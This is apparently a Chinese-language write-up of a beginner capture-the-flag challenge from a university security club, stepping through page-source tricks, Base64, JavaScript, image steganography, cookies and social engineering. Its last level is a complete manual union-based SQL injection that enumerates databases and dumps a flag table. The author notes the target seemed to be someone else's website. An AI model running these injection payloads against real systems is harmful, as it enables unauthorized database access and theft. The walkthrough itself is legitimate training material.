该类题目为简单的基础题,不要求很高深的技术。本次的题目只涉及了html、加解密、隐写术、javascript、http协议、社会工程学、SQL注入等基础知识。

第零关

0-1
0-2
提示不多,直接查看网页源代码,发现<a href="cc5daf26edcf4540ef4306619d42ee4c/56b0edd36cdb68dd183db2a2eae47dd2.php"></a>,于是访问 http://challenge.dutsec.cn/cc5daf26edcf4540ef4306619d42ee4c/56b0edd36cdb68dd183db2a2eae47dd2.php 既可进入第一关。

第一关

1-1
给出OTAzYmFkNGI1NjZkNGQ0NWNiY2Y0Y2Y1M2Q4MDhmNmU=这样一串字符串,尾部有特征性的等于号,判断为Base64编码后的字符串,进行Base64解码后得到903bad4b566d4d45cbcf4cf53d808f6e。解密后这个形式是一个MD5 Hash,各MD5反查网站均查不出明文,但是题目也没说明要解出MD5,于是直接提交该Hash,进入第二关。

第二关

2-1
同样没有什么提示信息,先查看网页源代码:
2-2
关键在代码在这里:

1
2
3
4
5
6
7
8
9
10
11
12
<script type="text/rocketscript">
function check(){
if(document.getElementById('txt').value==" "){
window.location.href="4b7be5a6ec9cd077e1ac96bbae61c4e2/e254591688c224aca386ae1a5fd9b8af.php";
}else{
alert("密码错误");
}
}
</script>

<input type="text" id="txt" value=""> //密码文本框
<input type="button" onClick="check()" value="提交">

1.<script type="text/rocketscript">这里故意写错,正确应为type="text/javascript"。正是这个原因,导致我们输入两个空格按提交也无法正常跳转。

2.从代码逻辑可知,取得id为txt的文本框的值,与” “(两个空格)进行对比,相等的话就跳去4b7be5a6ec9cd077e1ac96bbae61c4e2/e254591688c224aca386ae1a5fd9b8af.php则个链接。

于是直接访问 http://challenge.dutsec.cn/4b7be5a6ec9cd077e1ac96bbae61c4e2/e254591688c224aca386ae1a5fd9b8af.php 即可到达第三关。

第三关

3-1
题目只有一个图片,提示是密码在图片里。于是先把图片保存到本地。

图片可以保存文本信息的地方有不少,其中最简单的就是exif信息。右击图片-属性-详细信息即可查看,在这里发现没有密码。于是猜测可能是简单的信息隐写,即直接通过二进制读写,将文本信息追加到一张正常图片的尾部,这样不会破坏图片。用文本编辑器打开图片,拖到最下方,发现密码。
3-2
3-3

第四关

4-1
4-1
题目是一个由()[]!+组成的字符串,接触过的话就可以马上知道这是一个javascript脚本。直接将那一大串东西复制,按F12进入控制台,在console里运行一下,得到答案。

第五关

5-1
这一关是社会工程学的应用。社会工程学简称社工,是一门信息搜集与欺骗的学问。题目要求找到大工安全学会会长的博客地址。博客英文为blog,很多时候人们喜欢用blog.xxx.com这样的二级域名来搭建自己的博客系统。先尝试访问 http://blog.dutsec.cn ,可以正常访问,根据信息猜测,这是大工安全协会的公共博客。再看看友情链接,有三个友情链接,一般会长都会把自己的友情链接放在首位,先访问。得到一个个人网站,再尝试访问blog二级域名 http://blog.ikow.cn ,有响应,尝试提交,正确,过关。

第六关

6-1
6-2
题目说密码已经告诉你了。回想一下,服务器和客户端交互,我们浏览器页面看到的只是HTTP BODY,看了一下网页源代码,没有发现,于是按F12,在network标签看了一下服务器的http header,发现密码在cookies里。

第七关

本关是一个SQL注入,奇怪的是用了别人的网站,刚开始还有点顾虑要不要做下去。后来想了下应该没关系,还是做了吧。下面直接给出手注过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
http://full/injurl/showjobfind.php?id=7 and 1=1   //正常
http://full/injurl/showjobfind.php?id=7 and 1=2 //不正常

http://full/injurl/showjobfind.php?id=7 order by 1%23 //正常
http://full/injurl/showjobfind.php?id=7 order by 2%23 //正常
http://full/injurl/showjobfind.php?id=7 order by 3%23 //正常
http://full/injurl/showjobfind.php?id=7 order by 4%23 //正常
http://full/injurl/showjobfind.php?id=7 order by 5%23 //不正常,确定字段数为4
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,3,4%23 //测试联合查询,整形正常
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,'x',4%23
//测试联合查询,字符型不正常,判断为开了魔术引号,下面的操作全部用十六进制避免出现单引号
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,concat(user(),0x7c,version(),0x7c,database()),4%23
//在字段3的位置显示user(),version(),database()
//分别为当前mysql用户,mysql版本号,当前mysql库名

http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,1),4%23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,2),4%23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,3),4%23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,4),4%23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,5),4%23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,6),4%23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,7),4%23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,8),4%23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,9),4%23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_schema from information_schema.tables group by table_schema limit 0,10),4%23
//笨方法,依次取得所有数据库名

doc
ee_admin
flag //发现目标数据库
information_schema
job_eec   
modianArticle
mysql   
phpmyadmin   
pm   
waishi
xsdj   

http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select table_name from information_schema.columns where table_schema = 0x666c6167 limit 0,1),4%23
//取得flag数据库的表名,
//这里只有一个表:flag


http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,(select column_name from information_schema.columns where table_schema = 0x666c6167 and table_name = 0x666c6167 limit 0,1),4%23
//取得flag库里flag表的所有字段名
//这里只有一个字段:flag

http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,flag,4 from flag.flag limit 0,1 %23
http://full/injurl/showjobfind.php?id=7 and 1=2 union select 1,2,flag,4 from flag.flag limit 1,1 %23
//取得flag表里的内容

有两条内容:
IamDJ,lala
hello,Neo~   
分别提交尝试,,确定IamDJ,lala为正确flag